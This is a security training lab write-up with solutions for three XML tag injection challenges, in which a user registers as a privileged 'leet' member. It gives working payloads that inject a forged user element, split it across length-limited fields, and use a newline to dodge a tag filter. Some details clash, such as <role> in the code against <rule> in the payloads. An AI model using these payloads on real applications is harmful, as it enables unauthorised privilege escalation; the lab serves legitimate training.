HERA LAB

XML INJECTION LABS

LAB 6 <#CODENAME: TIC TAG TOE>

WAPTX

eLearn Security AN INE COMPANY

XML Injections will contain 3 challenging labs:

1. **Warm-up:** Lab XML Injection L1
2. **Easy**: Lab XML Injection L2
3. **Medium:** Lab XML Injection L3

1. DESCRIPTION

In these **XML TAG or Fragment Injection** labs, you will learn how to attack XML parsers to inject contextualized data that will alter the structure of the document without changing its validity.

All labs are available at the following URL: http://info.xmlinjection.labs

2. Goal

The main goal of these labs is to become a `leet` member.

The web application presents a login form. You must enter as a `leet` member; otherwise, you'll be a looser.

Find a way to access as a privileged user!

3. Tool

The best tool is, as usual, your **brain**. You may also need:

- Web Browser
- HTTP Proxy

SOLUTIONS

Below, you can find solutions for each task. Remember, though, that you can follow your own strategy, which may be different from the one explained in the following lab.

NOTE: The techniques used during this lab are better explained in the study material. You should refer to it for further details. These solutions are provided here only to verify the correctness.

SOLUTIONS - LAB #1

SIMPLE XML TAG INJECTION EXPLOITATION WARM-UP:
DO U W@NN@ B3 A L33T M3MB3R?

1. BACKGROUND

There are two types of users: `leet` and `looser`. By default, every new user is a **looser**. Find a way to become a `leet` member.

2. EXPLOITATION STEPS

A valid XML structure is reported in the `core.js` file within the function `WSregister__old`.

As you can see in the previous implementation, the developers used a different approach that helps us to detect the XML structure in this scenario.

```
function WSregister__old() {
    ...
    var xml = '<?xml version="1.0" encoding="utf-8"?>        ';
    xml += '<user>                                           ';
    xml += '     <role>2</role>                              ';
    xml += '     <name>' + name + '</name>                   ';
    xml += '     <username>' + username + '</username>       ';
    xml += '     <password>' + password + '</password>       ';
    xml += '</user>                                          ';
    ...
}
```

Testing parameter name Registering

If we register a user, we can see that its name is echoed back in the welcome message and is encoded with `htmlspecialchars`.

Furthermore, if we try to inject some tags (e.g., `<hey>`), the application works and registers the new user. Therefore, this parameter is not injectable.

Testing parameter password

If we adopt the same approach with the password, we can see that even the password is not injectable!

Testing parameter username

The only injectable parameter is the username.

If we take advantage of the XML structure found in the `core.js` file we could easily inject our `leet` user as follows:

```
name:         useless
username:     useless</username></user><user><rule>1</rule><name>l33t</name><u
sername>l33t
password:     l33t
```

The leet login will be:

```
username:     l33t
password:     l33t
```

SOLUTIONS - LAB #2

SIMPLE XML TAG INJECTION EXPLOITATION WITH LENGTH LIMITATION:
DOES LENGTH MATTER?

1. Background

There are two types of users: `leet` and `looser`. By default, every new user is a **looser**. Find a way to become a leet member.

2. Exploitation steps

A valid XML structure is reported in the `core.js` file within the function `WSregister__old`.

As you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.

```
function WSregister__old() {
        ...
        var xml = '<?xml version="1.0" encoding="utf-8"?>        ';
        xml += '<user>                                           ';
        xml += '    <role>2</role>                               ';
        xml += '    <name>' + name + '</name>                    ';
        xml += '    <username>' + username + '</username>        ';
        xml += '    <password>' + password + '</password>        ';
        xml += '</user>                                          ';
        ...
    }
```

Testing parameter name

Registering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars.

If we try to inject some tags (e.g., `<hey>`), the application returns an error message:

```
Opening and ending tag mismatch ...
```

Testing parameter username

If we adopt the same approach as before, we can see that even the username is injectable!

Testing parameter password

If we adopt the same approach as before, we can see that the password is not injectable!

Length limitations

Reading the HTML source code, we can see that the name and username have length limitations of 35 characters.

In fact, if we try to inject something longer, the application cuts our input.

Since we have two injection points, to bypass this limitation we can split and inject our payload in the two places:

```
name:         </name></user><user><rule>1<!--
username:     --></rule><name>x</name><username>x
password:     l33t
```

The leet login will be:

```
username:     x
password:     l33t
```

SOLUTIONS - LAB #3

XML TAG INJECTION EXPLOITATION WITH LENGTH LIMITATION AND FILTERS:
IF YOU'RE TIRED .. HAVE A BREAK!

1. Background

There are two types of users: `leet` and `looser`. By default, every new user is a **looser**. Find a way to become a leet member.

2. Exploitation steps

A valid XML structure is reported in the `core.js` file within the function `WSregister__old`.

As you can see in the previous implementation, the developers used a different approach than in this scenario, which helps us detect the XML structure.

```
function WSregister__old() {
        ...
        var xml = '<?xml version="1.0" encoding="utf-8"?>        ';
        xml += '<user>                                           ';
        xml += '    <role>2</role>                               ';
        xml += '    <name>' + name + '</name>                    ';
        xml += '    <username>' + username + '</username>        ';
        xml += '    <password>' + password + '</password>        ';
        xml += '</user>                                          ';
        ...
    }
```

Testing parameter name

Registering a test user, we can see that the name of the new user is echoed back in the welcome message and is encoded with htmlspecialchars. But, if we try to inject some tags (e.g., `<hey>`), the application returns an error message like the following:

```
Opening and ending tag mismatch ...
```

Testing parameter name

If we adopt the same approach as before, we can see that even the username is injectable!

Testing parameter password

If we adopt the same approach as before, we can see that the password is not injectable!

Length limitations

Reading the HTML source code, we can see that name and username have length limitations of 34 characters.

In fact, if we try to inject something longer, the application cuts our input.

Since we have two injection points, to bypass this limitation we can split and inject our payload in the two places:

```
name:         </name></user><user><rule>1<!--
username:     --></rule><name></name><username>x
password:     l33t
```

Bypassing Filters

Bypassing length limitations is not enough. The application implements some filters against the XML TAG injection that blocks the previous payload.

In this case, if the filter detects some dangerous elements, it shows a message like the following:

```
So you wanna be a l33t member so easily?! ಠ_ಠ
```

Injecting some metacharacters, we can see that `&`, `\` , `,` , `"` , `'` are filtered but `<` and `>` are not!

There is another filter that blocks the `<rule>` and `</rule>` tags.

The check is case-insensitive, and it seems that `spaces` and `tabs` are ignored between the tag name and the close tag character, but if we inject a new line, it is not filtered!

So the exploitation could be the following:

```
name:         </name></user><user><rule{NEW_LINE}>1<!--
username:     --></rule{NEW_LINE}><name></name><username>x
password:     l33t
```

Now the `username` has a length of 35; injecting this payload, we would have an empty username and thus an invalid login.

We need to remove something from the payload, and the `<name>` tag seems to be ignored server-side.

The working exploit is:

```
name:         </name></user><user><rule{NEW_LINE}>1<!--
username:     --></rule{NEW_LINE}><username>l33t
password:     l33t
```

The leet login will be:

```
username: l33t
password: l33t
```